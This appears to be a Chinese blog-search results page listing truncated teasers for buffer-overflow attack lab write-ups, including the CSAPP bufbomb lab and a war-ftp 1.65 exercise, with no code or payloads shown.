    实验内容本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。实验仅提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容...
  • 缓冲区溢出攻击实验(二)

    千次阅读 2015-11-19 01:35:23
    上面缓冲区溢出攻击实验(一)中,主要阐述了怎么获得函数的返回地址,以及怎么修改返回地址。接下来阐述,获得了返回地址要做啥,也就是我们的获得shell的恶意程序; 二、获取shell恶意程序  由于我们最终是要通过向...
  • CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将global_value的值修改为cookie。因为全局变量与代码不...
  • 实验二:缓冲区溢出实验(war-ftp 1.65)一、实验目的1、掌握缓冲区溢出的原理缓冲区是程序运行期间在内存中分配的一个连续的区域,用于保存包括字符数组在内的各种数据类型...缓冲区溢出攻击的目的一般在于取得程序...
  • 掌握两种缓冲区攻击方法,进一步理解软件漏洞的危害。 二、实验环境 1.SecureCRT(xx.xxx.xxx.xx) 2.Linux 3.Objdump命令反汇编 4.GDB调试工具 5.。。。。。 三、实验内容 登录xxxx服务器,在hom...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 421
精华内容 168
关键字:

缓冲区溢出攻击实验